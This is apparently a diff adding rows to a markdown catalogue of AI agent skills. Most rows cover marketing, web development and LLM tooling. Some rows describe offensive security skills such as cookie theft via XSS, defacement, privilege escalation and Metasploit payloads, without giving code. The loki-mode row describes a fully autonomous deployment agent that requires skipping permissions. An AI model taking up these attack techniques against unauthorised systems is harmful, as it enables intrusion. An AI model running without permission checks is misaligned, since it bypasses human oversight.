+| **competitor-alternatives** | ⚪ | When the user wants to create competitor comparison or alternative pages for SEO and sales enablement. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' or 'competitive landing pages.' Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. Emphasizes deep research, modular content architecture, and varied section types beyond feature tables. | `skills/competitor-alternatives` |
+| **computer-use-agents** | ⚪ | Build AI agents that interact with computers like humans do - viewing screens, moving cursors, clicking buttons, and typing text. Covers Anthropic's Computer Use, OpenAI's Operator/CUA, and open-source alternatives. Critical focus on sandboxing, security, and handling the unique challenges of vision-based control. Use when: computer use, desktop automation agent, screen control AI, vision-based agent, GUI automation. | `skills/computer-use-agents` |
+| **concise-planning** | ⚪ | Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist. | `skills/concise-planning` |
+| **content-creator** | ⚪ | Create SEO-optimized marketing content with consistent brand voice. Includes brand voice analyzer, SEO optimizer, content frameworks, and social media templates. Use when writing blog posts, creating social media content, analyzing brand voice, optimizing SEO, planning content calendars, or when user mentions content creation, brand voice, SEO optimization, social media marketing, or content strategy. | `skills/content-creator` |
+| **context-window-management** | ⚪ | Strategies for managing LLM context windows including summarization, trimming, routing, and avoiding context rot Use when: context window, token limit, context management, context engineering, long context. | `skills/context-window-management` |
+| **context7-auto-research** | ⚪ | Automatically fetch latest library/framework documentation for Claude Code via Context7 API | `skills/context7-auto-research` |
+| **conversation-memory** | ⚪ | Persistent memory systems for LLM conversations including short-term, long-term, and entity-based memory Use when: conversation memory, remember, memory persistence, long-term memory, chat history. | `skills/conversation-memory` |
+| **copy-editing** | ⚪ | When the user wants to edit, review, or improve existing marketing copy. Also use when the user mentions 'edit this copy,' 'review my copy,' 'copy feedback,' 'proofread,' 'polish this,' 'make this better,' or 'copy sweep.' This skill provides a systematic approach to editing marketing copy through multiple focused passes. | `skills/copy-editing` |
+| **copywriting** | ⚪ | Use this skill when writing, rewriting, or improving marketing copy for any page (homepage, landing page, pricing, feature, product, or about page). This skill produces clear, compelling, and testable copy while enforcing alignment, honesty, and conversion best practices. | `skills/copywriting` |
+| **core-components** | ⚪ | Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library. | `skills/core-components` |
+| **crewai** | ⚪ | Expert in CrewAI - the leading role-based multi-agent framework used by 60% of Fortune 500 companies. Covers agent design with roles and goals, task definition, crew orchestration, process types (sequential, hierarchical, parallel), memory systems, and flows for complex workflows. Essential for building collaborative AI agent teams. Use when: crewai, multi-agent team, agent roles, crew of agents, role-based agents. | `skills/crewai` |
+| **Cross-Site Scripting and HTML Injection Testing** | ⚪ | This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications. | `skills/xss-html-injection` |
+| **d3-viz** | ⚪ | Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment. | `skills/claude-d3js-skill` |
+| **database-design** | ⚪ | Database design principles and decision-making. Schema design, indexing strategy, ORM selection, serverless databases. | `skills/database-design` |
+| **deployment-procedures** | ⚪ | Production deployment principles and decision-making. Safe deployment workflows, rollback strategies, and verification. Teaches thinking, not scripts. | `skills/deployment-procedures` |
+| **design-orchestration** | ⚪ | Orchestrates design workflows by routing work through brainstorming, multi-agent review, and execution readiness in the correct order. Prevents premature implementation, skipped validation, and unreviewed high-risk designs. | `skills/design-orchestration` |
+| **discord-bot-architect** | ⚪ | Specialized skill for building production-ready Discord bots. Covers Discord.js (JavaScript) and Pycord (Python), gateway intents, slash commands, interactive components, rate limiting, and sharding. | `skills/discord-bot-architect` |
+| **dispatching-parallel-agents** | ⚪ | Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies | `skills/dispatching-parallel-agents` |
+| **doc-coauthoring** | ⚪ | Guide users through a structured workflow for co-authoring documentation. Use when user wants to write documentation, proposals, technical specs, decision docs, or similar structured content. This workflow helps users efficiently transfer context, refine content through iteration, and verify the doc works for readers. Trigger when user mentions writing docs, creating proposals, drafting specs, or similar documentation tasks. | `skills/doc-coauthoring` |
+| **docker-expert** | ⚪ | Docker containerization expert with deep knowledge of multi-stage builds, image optimization, container security, Docker Compose orchestration, and production deployment patterns. Use PROACTIVELY for Dockerfile optimization, container issues, image size problems, security hardening, networking, and orchestration challenges. | `skills/docker-expert` |
+| **documentation-templates** | ⚪ | Documentation templates and structure guidelines. README, API docs, code comments, and AI-friendly documentation. | `skills/documentation-templates` |
+| **docx** | ⚪ | Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. When Claude needs to work with professional documents (.docx files) for: (1) Creating new documents, (2) Modifying or editing content, (3) Working with tracked changes, (4) Adding comments, or any other document tasks | `skills/docx-official` |
+| **email-sequence** | ⚪ | When the user wants to create or optimize an email sequence, drip campaign, automated email flow, or lifecycle email program. Also use when the user mentions "email sequence," "drip campaign," "nurture sequence," "onboarding emails," "welcome sequence," "re-engagement emails," "email automation," or "lifecycle emails." For in-app onboarding, see onboarding-cro. | `skills/email-sequence` |
+| **email-systems** | ⚪ | Email has the highest ROI of any marketing channel. $36 for every $1 spent. Yet most startups treat it as an afterthought - bulk blasts, no personalization, landing in spam folders.  This skill covers transactional email that works, marketing automation that converts, deliverability that reaches inboxes, and the infrastructure decisions that scale. Use when: keywords, file_patterns, code_patterns. | `skills/email-systems` |
+| **environment-setup-guide** | ⚪ | Guide developers through setting up development environments with proper tools, dependencies, and configurations | `skills/environment-setup-guide` |
+| **Ethical Hacking Methodology** | ⚪ | This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques. | `skills/ethical-hacking-methodology` |
+| **exa-search** | ⚪ | Semantic search, similar content discovery, and structured research using Exa API | `skills/exa-search` |
+| **executing-plans** | ⚪ | Use when you have a written implementation plan to execute in a separate session with review checkpoints | `skills/executing-plans` |
+| **File Path Traversal Testing** | ⚪ | This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies. | `skills/file-path-traversal` |
+| **file-organizer** | ⚪ | Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects. | `skills/file-organizer` |
+| **file-uploads** | ⚪ | Expert at handling file uploads and cloud storage. Covers S3, Cloudflare R2, presigned URLs, multipart uploads, and image optimization. Knows how to handle large files without blocking. Use when: file upload, S3, R2, presigned URL, multipart. | `skills/file-uploads` |
+| **finishing-a-development-branch** | ⚪ | Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup | `skills/finishing-a-development-branch` |
+| **firebase** | ⚪ | Firebase gives you a complete backend in minutes - auth, database, storage, functions, hosting. But the ease of setup hides real complexity. Security rules are your last line of defense, and they're often wrong. Firestore queries are limited, and you learn this after you've designed your data model.  This skill covers Firebase Authentication, Firestore, Realtime Database, Cloud Functions, Cloud Storage, and Firebase Hosting. Key insight: Firebase is optimized for read-heavy, denormalized data. I | `skills/firebase` |
+| **firecrawl-scraper** | ⚪ | Deep web scraping, screenshots, PDF parsing, and website crawling using Firecrawl API | `skills/firecrawl-scraper` |
+| **form-cro** | ⚪ | Optimize any form that is NOT signup or account registration — including lead capture, contact, demo request, application, survey, quote, and checkout forms. Use when the goal is to increase form completion rate, reduce friction, or improve lead quality without breaking compliance or downstream workflows. | `skills/form-cro` |
+| **free-tool-strategy** | ⚪ | When the user wants to plan, evaluate, or build a free tool for marketing purposes — lead generation, SEO value, or brand awareness. Also use when the user mentions "engineering as marketing," "free tool," "marketing tool," "calculator," "generator," "interactive tool," "lead gen tool," "build a tool for leads," or "free resource." This skill bridges engineering and marketing — useful for founders and technical marketers. | `skills/free-tool-strategy` |
+| **frontend-design** | ⚪ | Create distinctive, production-grade frontend interfaces with intentional aesthetics, high craft, and non-generic visual identity. Use when building or styling web UIs, components, pages, dashboards, or frontend applications. | `skills/frontend-design` |
+| **frontend-dev-guidelines** | ⚪ | Opinionated frontend development standards for modern React + TypeScript applications. Covers Suspense-first data fetching, lazy loading, feature-based architecture, MUI v7 styling, TanStack Router, performance optimization, and strict TypeScript practices. | `skills/frontend-dev-guidelines` |
+| **frontend-patterns** | ⚪ | Frontend development patterns for React, Next.js, state management, performance optimization, and UI best practices. | `skills/cc-skill-frontend-patterns` |
+| **game-art** | ⚪ | Game art principles. Visual style selection, asset pipeline, animation workflow. | `skills/game-development/game-art` |
+| **game-audio** | ⚪ | Game audio principles. Sound design, music integration, adaptive audio systems. | `skills/game-development/game-audio` |
+| **game-design** | ⚪ | Game design principles. GDD structure, balancing, player psychology, progression. | `skills/game-development/game-design` |
+| **game-development** | ⚪ | Game development orchestrator. Routes to platform-specific skills based on project needs. | `skills/game-development` |
+| **gcp-cloud-run** | ⚪ | Specialized skill for building production-ready serverless applications on GCP. Covers Cloud Run services (containerized), Cloud Run Functions (event-driven), cold start optimization, and event-driven architecture with Pub/Sub. | `skills/gcp-cloud-run` |
+| **geo-fundamentals** | ⚪ | Generative Engine Optimization for AI search engines (ChatGPT, Claude, Perplexity). | `skills/geo-fundamentals` |
+| **git-pushing** | ⚪ | Stage, commit, and push git changes with conventional commit messages. Use when user wants to commit and push changes, mentions pushing to remote, or asks to save and push their work. Also activates when user says "push changes", "commit and push", "push this", "push to github", or similar git workflow requests. | `skills/git-pushing` |
+| **github-workflow-automation** | ⚪ | Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues. | `skills/github-workflow-automation` |
+| **graphql** | ⚪ | GraphQL gives clients exactly the data they need - no more, no less. One endpoint, typed schema, introspection. But the flexibility that makes it powerful also makes it dangerous. Without proper controls, clients can craft queries that bring down your server.  This skill covers schema design, resolvers, DataLoader for N+1 prevention, federation for microservices, and client integration with Apollo/urql. Key insight: GraphQL is a contract. The schema is the API documentation. Design it carefully. | `skills/graphql` |
+| **HTML Injection Testing** | ⚪ | This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies. | `skills/html-injection-testing` |
+| **hubspot-integration** | ⚪ | Expert patterns for HubSpot CRM integration including OAuth authentication, CRM objects, associations, batch operations, webhooks, and custom objects. Covers Node.js and Python SDKs. Use when: hubspot, hubspot api, hubspot crm, hubspot integration, contacts api. | `skills/hubspot-integration` |
+| **i18n-localization** | ⚪ | Internationalization and localization patterns. Detecting hardcoded strings, managing translations, locale files, RTL support. | `skills/i18n-localization` |
+| **IDOR Vulnerability Testing** | ⚪ | This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications. | `skills/idor-testing` |
+| **inngest** | ⚪ | Inngest expert for serverless-first background jobs, event-driven workflows, and durable execution without managing queues or workers. Use when: inngest, serverless background job, event-driven workflow, step function, durable execution. | `skills/inngest` |
+| **interactive-portfolio** | ⚪ | Expert in building portfolios that actually land jobs and clients - not just showing work, but creating memorable experiences. Covers developer portfolios, designer portfolios, creative portfolios, and portfolios that convert visitors into opportunities. Use when: portfolio, personal website, showcase work, developer portfolio, designer portfolio. | `skills/interactive-portfolio` |
+| **internal-comms** | ⚪ | A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.). | `skills/internal-comms-anthropic` |
+| **internal-comms** | ⚪ | A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.). | `skills/internal-comms-community` |
+| **javascript-mastery** | ⚪ | Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. From fundamentals like primitives and closures to advanced patterns like async/await and functional programming. Use when explaining JS concepts, debugging JavaScript issues, or teaching JavaScript fundamentals. | `skills/javascript-mastery` |
+| **kaizen** | ⚪ | Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements. | `skills/kaizen` |
+| **langfuse** | ⚪ | Expert in Langfuse - the open-source LLM observability platform. Covers tracing, prompt management, evaluation, datasets, and integration with LangChain, LlamaIndex, and OpenAI. Essential for debugging, monitoring, and improving LLM applications in production. Use when: langfuse, llm observability, llm tracing, prompt management, llm evaluation. | `skills/langfuse` |
+| **langgraph** | ⚪ | Expert in LangGraph - the production-grade framework for building stateful, multi-actor AI applications. Covers graph construction, state management, cycles and branches, persistence with checkpointers, human-in-the-loop patterns, and the ReAct agent pattern. Used in production at LinkedIn, Uber, and 400+ companies. This is LangChain's recommended approach for building agents. Use when: langgraph, langchain agent, stateful agent, agent graph, react agent. | `skills/langgraph` |
+| **launch-strategy** | ⚪ | When the user wants to plan a product launch, feature announcement, or release strategy. Also use when the user mentions 'launch,' 'Product Hunt,' 'feature release,' 'announcement,' 'go-to-market,' 'beta launch,' 'early access,' 'waitlist,' or 'product update.' This skill covers phased launches, channel strategy, and ongoing launch momentum. | `skills/launch-strategy` |
+| **lint-and-validate** | ⚪ | Automatic quality control, linting, and static analysis procedures. Use after every code modification to ensure syntax correctness and project standards. Triggers onKeywords: lint, format, check, validate, types, static analysis. | `skills/lint-and-validate` |
+| **Linux Privilege Escalation** | ⚪ | This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems. | `skills/linux-privilege-escalation` |
+| **Linux Production Shell Scripts** | ⚪ | This skill should be used when the user asks to "create bash scripts", "automate Linux tasks", "monitor system resources", "backup files", "manage users", or "write production shell scripts". It provides ready-to-use shell script templates for system administration. | `skills/linux-shell-scripting` |
+| **llm-app-patterns** | ⚪ | Production-ready patterns for building LLM applications. Covers RAG pipelines, agent architectures, prompt IDEs, and LLMOps monitoring. Use when designing AI applications, implementing RAG, building agents, or setting up LLM observability. | `skills/llm-app-patterns` |
+| **loki-mode** | ⚪ | Multi-agent autonomous startup system for Claude Code. Triggers on "Loki Mode". Orchestrates 100+ specialized agents across engineering, QA, DevOps, security, data/ML, business operations, marketing, HR, and customer success. Takes PRD to fully deployed, revenue-generating product with zero human intervention. Features Task tool for subagent dispatch, parallel code review with 3 specialized reviewers, severity-based issue triage, distributed task queue with dead letter handling, automatic deployment to cloud providers, A/B testing, customer feedback loops, incident response, circuit breakers, and self-healing. Handles rate limits via distributed state checkpoints and auto-resume with exponential backoff. Requires --dangerously-skip-permissions flag. | `skills/loki-mode` |
+| **marketing-ideas** | ⚪ | Provide proven marketing strategies and growth ideas for SaaS and software products, prioritized using a marketing feasibility scoring system. | `skills/marketing-ideas` |
+| **marketing-psychology** | ⚪ | Apply behavioral science and mental models to marketing decisions, prioritized using a psychological leverage and feasibility scoring system. | `skills/marketing-psychology` |
+| **mcp-builder** | ⚪ | Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when building MCP servers to integrate external APIs or services, whether in Python (FastMCP) or Node/TypeScript (MCP SDK). | `skills/mcp-builder` |
+| **Metasploit Framework** | ⚪ | This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments. | `skills/metasploit-framework` |
+| **micro-saas-launcher** | ⚪ | Expert in launching small, focused SaaS products fast - the indie hacker approach to building profitable software. Covers idea validation, MVP development, pricing, launch strategies, and growing to sustainable revenue. Ship in weeks, not months. Use when: micro saas, indie hacker, small saas, side project, saas mvp. | `skills/micro-saas-launcher` |
+| **mobile-design** | ⚪ | Mobile-first design and engineering doctrine for iOS and Android apps. Covers touch interaction, performance, platform conventions, offline behavior, and mobile-specific decision-making. Teaches principles and constraints, not fixed layouts. Use for React Native, Flutter, or native mobile apps. | `skills/mobile-design` |
+| **mobile-games** | ⚪ | Mobile game development principles. Touch input, battery, performance, app stores. | `skills/game-development/mobile-games` |
+| **moodle-external-api-development** | ⚪ | Create custom external web service APIs for Moodle LMS. Use when implementing web services for course management, user tracking, quiz operations, or custom plugin functionality. Covers parameter validation, database operations, error handling, service registration, and Moodle coding standards. | `skills/moodle-external-api-development` |
+| **multi-agent-brainstorming** | ⚪ | Use this skill when a design or idea requires higher confidence, risk reduction, or formal review. This skill orchestrates a structured, sequential multi-agent design review where each agent has a strict, non-overlapping role. It prevents blind spots, false confidence, and premature convergence. | `skills/multi-agent-brainstorming` |
+| **multiplayer** | ⚪ | Multiplayer game development principles. Architecture, networking, synchronization. | `skills/game-development/multiplayer` |
+| **neon-postgres** | ⚪ | Expert patterns for Neon serverless Postgres, branching, connection pooling, and Prisma/Drizzle integration Use when: neon database, serverless postgres, database branching, neon postgres, postgres serverless. | `skills/neon-postgres` |
+| **nestjs-expert** | ⚪ | Nest.js framework expert specializing in module architecture, dependency injection, middleware, guards, interceptors, testing with Jest/Supertest, TypeORM/Mongoose integration, and Passport.js authentication. Use PROACTIVELY for any Nest.js application issues including architecture decisions, testing strategies, performance optimization, or debugging complex dependency injection problems. If a specialized expert is a better fit, I will recommend switching and stop. | `skills/nestjs-expert` |
+| **Network 101** | ⚪ | This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring and testing network services for penetration testing labs. | `skills/network-101` |
+| **nextjs-best-practices** | ⚪ | Next.js App Router principles. Server Components, data fetching, routing patterns. | `skills/nextjs-best-practices` |
+| **nextjs-supabase-auth** | ⚪ | Expert integration of Supabase Auth with Next.js App Router Use when: supabase auth next, authentication next.js, login supabase, auth middleware, protected route. | `skills/nextjs-supabase-auth` |
+| **nodejs-best-practices** | ⚪ | Node.js development principles and decision-making. Framework selection, async patterns, security, and architecture. Teaches thinking, not copying. | `skills/nodejs-best-practices` |
+| **nosql-expert** | ⚪ | Expert guidance for distributed NoSQL databases (Cassandra, DynamoDB). Focuses on mental models, query-first modeling, single-table design, and avoiding hot partitions in high-scale systems. | `skills/nosql-expert` |
+| **notebooklm** | ⚪ | Use this skill to query your Google NotebookLM notebooks directly from Claude Code for source-grounded, citation-backed answers from Gemini. Browser automation, library management, persistent auth. Drastically reduced hallucinations through document-only responses. | `skills/notebooklm` |
+| **notion-template-business** | ⚪ | Expert in building and selling Notion templates as a business - not just making templates, but building a sustainable digital product business. Covers template design, pricing, marketplaces, marketing, and scaling to real revenue. Use when: notion template, sell templates, digital product, notion business, gumroad. | `skills/notion-template-business` |
+| **obsidian-clipper-template-creator** | ⚪ | Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content. | `skills/obsidian-clipper-template-creator` |
+| **onboarding-cro** | ⚪ | When the user wants to optimize post-signup onboarding, user activation, first-run experience, or time-to-value. Also use when the user mentions "onboarding flow," "activation rate," "user activation," "first-run experience," "empty states," "onboarding checklist," "aha moment," or "new user experience." For signup/registration optimization, see signup-flow-cro. For ongoing email sequences, see email-sequence. | `skills/onboarding-cro` |
+| **page-cro** | ⚪ | Analyze and optimize individual pages for conversion performance. Use when the user wants to improve conversion rates, diagnose why a page is underperforming, or increase the effectiveness of marketing pages (homepage, landing pages, pricing, feature pages, or blog posts). This skill focuses on diagnosis, prioritization, and testable recommendations— not blind optimization. | `skills/page-cro` |
+| **paid-ads** | ⚪ | When the user wants help with paid advertising campaigns on Google Ads, Meta (Facebook/Instagram), LinkedIn, Twitter/X, or other ad platforms. Also use when the user mentions 'PPC,' 'paid media,' 'ad copy,' 'ad creative,' 'ROAS,' 'CPA,' 'ad campaign,' 'retargeting,' or 'audience targeting.' This skill covers campaign strategy, ad creation, audience targeting, and optimization. | `skills/paid-ads` |
+| **parallel-agents** | ⚪ | Multi-agent orchestration patterns. Use when multiple independent tasks can run with different domain expertise or when comprehensive analysis requires multiple perspectives. | `skills/parallel-agents` |
+| **paywall-upgrade-cro** | ⚪ | When the user wants to create or optimize in-app paywalls, upgrade screens, upsell modals, or feature gates. Also use when the user mentions "paywall," "upgrade screen," "upgrade modal," "upsell," "feature gate," "convert free to paid," "freemium conversion," "trial expiration screen," "limit reached screen," "plan upgrade prompt," or "in-app pricing." Distinct from public pricing pages (see page-cro) — this skill focuses on in-product upgrade moments where the user has already experienced value. | `skills/paywall-upgrade-cro` |
+| **pc-games** | ⚪ | PC and console game development principles. Engine selection, platform features, optimization strategies. | `skills/game-development/pc-games` |
+| **pdf** | ⚪ | Comprehensive PDF manipulation toolkit for extracting text and tables, creating new PDFs, merging/splitting documents, and handling forms. When Claude needs to fill in a PDF form or programmatically process, generate, or analyze PDF documents at scale. | `skills/pdf-official` |
+| **Pentest Checklist** | ⚪ | This skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define pentest scope", "follow security testing best practices", or needs a structured methodology for penetration testing engagements. | `skills/pentest-checklist` |
+| **Pentest Commands** | ⚪ | This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references. | `skills/pentest-commands` |
+| **performance-profiling** | ⚪ | Performance profiling principles. Measurement, analysis, and optimization techniques. | `skills/performance-profiling` |
+| **personal-tool-builder** | ⚪ | Expert in building custom tools that solve your own problems first. The best products often start as personal tools - scratch your own itch, build for yourself, then discover others have the same itch. Covers rapid prototyping, local-first apps, CLI tools, scripts that grow into products, and the art of dogfooding. Use when: build a tool, personal tool, scratch my itch, solve my problem, CLI tool. | `skills/personal-tool-builder` |
+| **plaid-fintech** | ⚪ | Expert patterns for Plaid API integration including Link token flows, transactions sync, identity verification, Auth for ACH, balance checks, webhook handling, and fintech compliance best practices. Use when: plaid, bank account linking, bank connection, ach, account aggregation. | `skills/plaid-fintech` |
+| **plan-writing** | ⚪ | Structured task planning with clear breakdowns, dependencies, and verification criteria. Use when implementing features, refactoring, or any multi-step work. | `skills/plan-writing` |
+| **planning-with-files** | ⚪ | Implements Manus-style file-based planning for complex tasks. Creates task_plan.md, findings.md, and progress.md. Use when starting complex multi-step tasks, research projects, or any task requiring >5 tool calls. | `skills/planning-with-files` |
+| **playwright-skill** | ⚪ | Complete browser automation with Playwright. Auto-detects dev servers, writes clean test scripts to /tmp. Test pages, fill forms, take screenshots, check responsive design, validate UX, test login flows, check links, automate any browser task. Use when user wants to test websites, automate browser interactions, validate web functionality, or perform any browser-based testing. | `skills/playwright-skill` |
+| **popup-cro** | ⚪ | Create and optimize popups, modals, overlays, slide-ins, and banners to increase conversions without harming user experience or brand trust. | `skills/popup-cro` |
+| **powershell-windows** | ⚪ | PowerShell Windows patterns. Critical pitfalls, operator syntax, error handling. | `skills/powershell-windows` |
+| **pptx** | ⚪ | Presentation creation, editing, and analysis. When Claude needs to work with presentations (.pptx files) for: (1) Creating new presentations, (2) Modifying or editing content, (3) Working with layouts, (4) Adding comments or speaker notes, or any other presentation tasks | `skills/pptx-official` |
+| **pricing-strategy** | ⚪ | Design pricing, packaging, and monetization strategies based on value, customer willingness to pay, and growth objectives. | `skills/pricing-strategy` |
+| **prisma-expert** | ⚪ | Prisma ORM expert for schema design, migrations, query optimization, relations modeling, and database operations. Use PROACTIVELY for Prisma schema issues, migration problems, query performance, relation design, or database connection issues. | `skills/prisma-expert` |
+| **Privilege Escalation Methods** | ⚪ | This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems. | `skills/privilege-escalation-methods` |
+| **product-manager-toolkit** | ⚪ | Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development. | `skills/product-manager-toolkit` |
+| **production-code-audit** | ⚪ | Autonomously deep-scan entire codebase line-by-line, understand architecture and patterns, then systematically transform it to production-grade, corporate-level professional quality with optimizations | `skills/production-code-audit` |
+| **programmatic-seo** | ⚪ | Design and evaluate programmatic SEO strategies for creating SEO-driven pages at scale using templates and structured data. Use when the user mentions programmatic SEO, pages at scale, template pages, directory pages, location pages, comparison pages, integration pages, or keyword-pattern page generation. This skill focuses on feasibility, strategy, and page system design—not execution unless explicitly requested. | `skills/programmatic-seo` |
+| **prompt-caching** | ⚪ | Caching strategies for LLM prompts including Anthropic prompt caching, response caching, and CAG (Cache Augmented Generation) Use when: prompt caching, cache prompt, response cache, cag, cache augmented. | `skills/prompt-caching` |
+| **prompt-engineer** | ⚪ | Expert in designing effective prompts for LLM-powered applications. Masters prompt structure, context management, output formatting, and prompt evaluation. Use when: prompt engineering, system prompt, few-shot, chain of thought, prompt design. | `skills/prompt-engineer` |
+| **prompt-engineering** | ⚪ | Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior. | `skills/prompt-engineering` |
+| **prompt-library** | ⚪ | Curated collection of high-quality prompts for various use cases. Includes role-based prompts, task-specific templates, and prompt refinement techniques. Use when user needs prompt templates, role-play prompts, or ready-to-use prompt examples for coding, writing, analysis, or creative tasks. | `skills/prompt-library` |
+| **python-patterns** | ⚪ | Python development principles and decision-making. Framework selection, async patterns, type hints, project structure. Teaches thinking, not copying. | `skills/python-patterns` |
+| **rag-engineer** | ⚪ | Expert in building Retrieval-Augmented Generation systems. Masters embedding models, vector databases, chunking strategies, and retrieval optimization for LLM applications. Use when: building RAG, vector search, embeddings, semantic search, document retrieval. | `skills/rag-engineer` |
+| **rag-implementation** | ⚪ | Retrieval-Augmented Generation patterns including chunking, embeddings, vector stores, and retrieval optimization Use when: rag, retrieval augmented, vector search, embeddings, semantic search. | `skills/rag-implementation` |
+| **react-patterns** | ⚪ | Modern React patterns and principles. Hooks, composition, performance, TypeScript best practices. | `skills/react-patterns` |
+| **react-ui-patterns** | ⚪ | Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states. | `skills/react-ui-patterns` |
+| **receiving-code-review** | ⚪ | Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation | `skills/receiving-code-review` |
+| **Red Team Tools and Methodology** | ⚪ | This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters. | `skills/red-team-tools` |
+| **red-team-tactics** | ⚪ | Red team tactics principles based on MITRE ATT&CK. Attack phases, detection evasion, reporting. | `skills/red-team-tactics` |
+| **referral-program** | ⚪ | When the user wants to create, optimize, or analyze a referral program, affiliate program, or word-of-mouth strategy. Also use when the user mentions 'referral,' 'affiliate,' 'ambassador,' 'word of mouth,' 'viral loop,' 'refer a friend,' or 'partner program.' This skill covers program design, incentive structure, and growth optimization. | `skills/referral-program` |
+| **remotion-best-practices** | ⚪ | Best practices for Remotion - Video creation in React | `skills/remotion-best-practices` |
+| **requesting-code-review** | ⚪ | Use when completing tasks, implementing major features, or before merging to verify work meets requirements | `skills/requesting-code-review` |
+| **research-engineer** | ⚪ | An uncompromising Academic Research Engineer. Operates with absolute scientific rigor, objective criticism, and zero flair. Focuses on theoretical correctness, formal verification, and optimal implementation across any required technology. | `skills/research-engineer` |
+| **salesforce-development** | ⚪ | Expert patterns for Salesforce platform development including Lightning Web Components (LWC), Apex triggers and classes, REST/Bulk APIs, Connected Apps, and Salesforce DX with scratch orgs and 2nd generation packages (2GP). Use when: salesforce, sfdc, apex, lwc, lightning web components. | `skills/salesforce-development` |
+| **schema-markup** | ⚪ | Design, validate, and optimize schema.org structured data for eligibility, correctness, and measurable SEO impact. Use when the user wants to add, fix, audit, or scale schema markup (JSON-LD) for rich results. This skill evaluates whether schema should be implemented, what types are valid, and how to deploy safely according to Google guidelines. | `skills/schema-markup` |
+| **scroll-experience** | ⚪ | Expert in building immersive scroll-driven experiences - parallax storytelling, scroll animations, interactive narratives, and cinematic web experiences. Like NY Times interactives, Apple product pages, and award-winning web experiences. Makes websites feel like experiences, not just pages. Use when: scroll animation, parallax, scroll storytelling, interactive story, cinematic website. | `skills/scroll-experience` |
+| **Security Scanning Tools** | ⚪ | This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". It provides comprehensive guidance on security scanning tools and methodologies. | `skills/scanning-tools` |
+| **security-review** | ⚪ | Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns. | `skills/cc-skill-security-review` |
